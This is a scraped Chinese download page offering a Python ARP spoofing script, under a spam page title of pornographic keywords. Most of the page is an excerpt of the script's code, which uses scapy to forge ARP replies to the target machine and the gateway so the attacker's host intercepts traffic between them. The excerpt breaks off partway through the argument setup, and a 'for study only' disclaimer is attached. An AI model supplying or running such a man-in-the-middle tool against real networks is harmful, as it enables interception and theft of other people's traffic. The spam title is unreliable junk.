xxxx18一60岁hd中国/日韩女同互慰一区二区/西西人体扒开双腿无遮挡/日韩欧美黄色一级片 - 色护士精品影院www

  • 大小: 5KB
    文件類型: .py
    金幣: 1
    下載: 0 次
    發布日期: 2021-06-03
  • 語言: Python
  • 標簽: arp??python??WEB??

資源簡介

利用python寫的一個基于windows系統的ARP攻擊腳本,可進行范圍攻擊,僅供參考學習,請勿用于非法用途。

資源截圖

代碼片段和文件信息

#作者:Remix
#僅供參考學習,請勿用于非法用途。
import?argparse
import?threading
import?time
from?scapy.all?import?ARP?Ether?get_if_hwaddr?sendp
from?scapy.layers.l2?import?getmacbyip
#從命令行直接讀取參數
#多線程
#和時間相關的模塊
#?Ether用來構建以太網數據包
#?ARP是構建ARP數據包的類
#?sendp方法在第二層發送數據包
#?getmacbyip方法用于通過ip獲取mac地址
#?get_if_hwaddr方法獲取指定網卡的mac地址
def?get_mac(tgt_ip):
????‘‘‘
????調用scapy的getmacbyip函數,獲取攻擊目標IP的MAC地址。
????‘‘‘
????tgt_mac?=?getmacbyip(tgt_ip)
????if?tgt_mac?is?not?None:
????????return?tgt_mac
????else:
????????print(“無法獲取IP為:%s?主機的MAC地址,請檢查目標IP是否存活“?%?tgt_ip)
def?create_arp_station(src_mac?tgt_mac?gateway_ip?tgt_ip):
????‘‘‘
????生成ARP數據包,偽造網關欺騙目標計算機
????src_mac:本機的MAC地址,充當中間人
????tgt_mac:目標計算機的MAC
????gateway_ip:網關的IP,將發往網關的數據指向本機(中間人),形成ARP攻擊
????tgt_ip:目標計算機的IP
????op=is-at表示ARP響應
????‘‘‘
????eth?=?Ether(src=src_mac?dst=tgt_mac)
????arp?=?ARP(hwsrc=src_mac?psrc=gateway_ip?hwdst=tgt_mac?pdst=tgt_ip?op=“is-at“)
????pkt?=?eth?/?arp
????return?pkt
def?create_arp_gateway(src_mac?gateway_mac?tgt_ip?gateway_ip):
????‘‘‘
????生成ARP數據包,偽造目標計算機欺騙網關
????src_mac:本機的MAC地址,充當中間人
????gateway_mac:網關的MAC
????tgt_ip:目標計算機的IP,將網關發往目標計算機的數據指向本機(中間人),形成ARP攻擊
????gateway_ip:網關的IP
????op=is-at表示ARP響應
????‘‘‘
????eth?=?Ether(src=src_mac?dst=gateway_mac)
????arp?=?ARP(hwsrc=src_mac?psrc=tgt_ip?hwdst=gateway_mac?pdst=gateway_ip?op=“is-at“)
????pkt?=?eth?/?arp
????return?pkt
def?main():
????“““
????主方法
????“““

????#-t?目標?-g?網關
????description?=?“ARP攻擊腳本“
????parser?=?argparse.ArgumentParser(description=description)?#使用argparse的第一步就是創建一個解析器對象,并告訴它將會有些什么參數。那么當你的程序運行時,該解析器就可以用于處理命令行參數。
????#?解析器類是?ArgumentParser?。構造方法接收幾個參數來設置用于程序幫助文本的描述信息以及其他全局的行為或設置。
????parser.add_argument(‘-sm‘?dest=‘srcmac‘?type=str?help=‘發送源計算機的MAC,如果不提供,默認將采用本機的MAC地址‘)
????parser.add_argument(‘-t‘?dest=‘targetip‘?type=str?help=‘指定目標計算機IP‘?required=True)
????parser.add_argument(‘-tm‘?dest=‘targetmac‘

評論

共有 條評論